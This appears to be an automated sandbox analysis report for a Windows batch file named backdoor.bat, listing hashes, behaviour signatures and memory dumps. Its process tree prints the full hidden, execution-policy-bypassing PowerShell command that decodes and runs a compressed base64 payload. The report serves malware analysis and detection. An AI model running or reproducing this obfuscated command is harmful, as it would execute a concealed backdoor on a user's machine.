Analysis

  • max time kernel
    91s
  • max time network
    101s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    09/11/2024, 20:32

General

  • Target

    backdoor.bat

  • Size

    2KB

  • MD5

    65b01774b98f22832ad87363295dfe55

  • SHA1

    d20b626ccff0bf9341a6ebe2b94ef610bc54ef47

  • SHA256

    dc880c0a9e06cbdb8e2b7b1a366be244d130e0e84645afbdd619b36fdfca1613

  • SHA512

    acca3c54ce2a3fa531997034d46b2651af15574ef71661e8bec194635a0d34bf0aa00879fdb2aaaf8c81d9f23bb1ed310863c2561b375e0a1c8a89ab4edb22bc

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\backdoor.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
      C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"nVPbTttAEH33V4wsS9iKbdlJaFEQEpeKFqlNEUHtQ5QHZzOQLetda3ecxND8e8fgtAXRqurTsXdnzjlz2UDAERz73vSdUhdlZSyF/h1ajWrQTxdK+dEMqnqupABHBTHghvgeLjRdkoUv0lJdqBOljAi7s3UMtdQEmw6bDu+jw//WObNYEF4vGRY7nbrjXcXwS7n7+k27O2nV/WOPbPMQOC56jOvk8/wbCoJJ4wjLdIyUToy4Q3IdQjh95e5ksbDo3HlRStXMRiMWQMsBa2PvYngt4wmvmwo5fEJcRPl64KU1ZIRRXei1qCIvcOmZ0ZqNhnv5237az9O8P0zzfLAXw0EWwXcwNSW6VuoQgopLm55YW7TOnrp2obmlWmDozxtCP4ZhxIEbDmTqKxQoVxgG1Quie77PvKD5B77pqSS2uELLjWhtG27JoM+ccRb19lu1ZprNWsLN6bm3XkqFELJCoujvyRE8tE56z602cXDf24/z+M+9PlfFrWO2sdEYwda7MZYV5VHOXiTrIgzbr16PFdhcIFt3O7oXjt4jnXKhLpzyRs3YyIdCLxRGnJXks60XEOfyUiTt1CApsZyjfYc3UkuSRkMgIBkXJYL/VepB34dE85+rCoHweHJea9FGOkiqwjla2rod0FFAo9GzB5bFQZN+RH1LyzjbDLIsYxhmkbdzflVrkiWmjytpqgnalRTo0k+FdctCtSM0VdN2EDKe29PTmIXBJt21PYpi+CnCy0e7qXdvjxXjYBO38GL1JlRYSiYKsYJkgsLoBRy8GWbZVhQklg/bHw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1944

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2bmktvjo.33l.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1944-5-0x0000000005750000-0x0000000005772000-memory.dmp

    Filesize

    136KB

  • memory/1944-17-0x0000000006600000-0x000000000661E000-memory.dmp

    Filesize

    120KB

  • memory/1944-2-0x0000000074F20000-0x00000000756D1000-memory.dmp

    Filesize

    7.7MB

  • memory/1944-0-0x0000000074F2E000-0x0000000074F2F000-memory.dmp

    Filesize

    4KB

  • memory/1944-4-0x0000000074F20000-0x00000000756D1000-memory.dmp

    Filesize

    7.7MB

  • memory/1944-6-0x0000000005E80000-0x0000000005EE6000-memory.dmp

    Filesize

    408KB

  • memory/1944-3-0x0000000005850000-0x0000000005E7A000-memory.dmp

    Filesize

    6.2MB

  • memory/1944-7-0x0000000005FF0000-0x0000000006056000-memory.dmp

    Filesize

    408KB

  • memory/1944-13-0x00000000060E0000-0x0000000006437000-memory.dmp

    Filesize

    3.3MB

  • memory/1944-1-0x0000000003170000-0x00000000031A6000-memory.dmp

    Filesize

    216KB

  • memory/1944-18-0x0000000006630000-0x000000000667C000-memory.dmp

    Filesize

    304KB

  • memory/1944-19-0x0000000007D40000-0x00000000083BA000-memory.dmp

    Filesize

    6.5MB

  • memory/1944-20-0x0000000006B30000-0x0000000006B4A000-memory.dmp

    Filesize

    104KB

  • memory/1944-21-0x0000000074F2E000-0x0000000074F2F000-memory.dmp

    Filesize

    4KB

  • memory/1944-22-0x0000000074F20000-0x00000000756D1000-memory.dmp

    Filesize

    7.7MB

  • memory/1944-26-0x0000000074F20000-0x00000000756D1000-memory.dmp

    Filesize

    7.7MB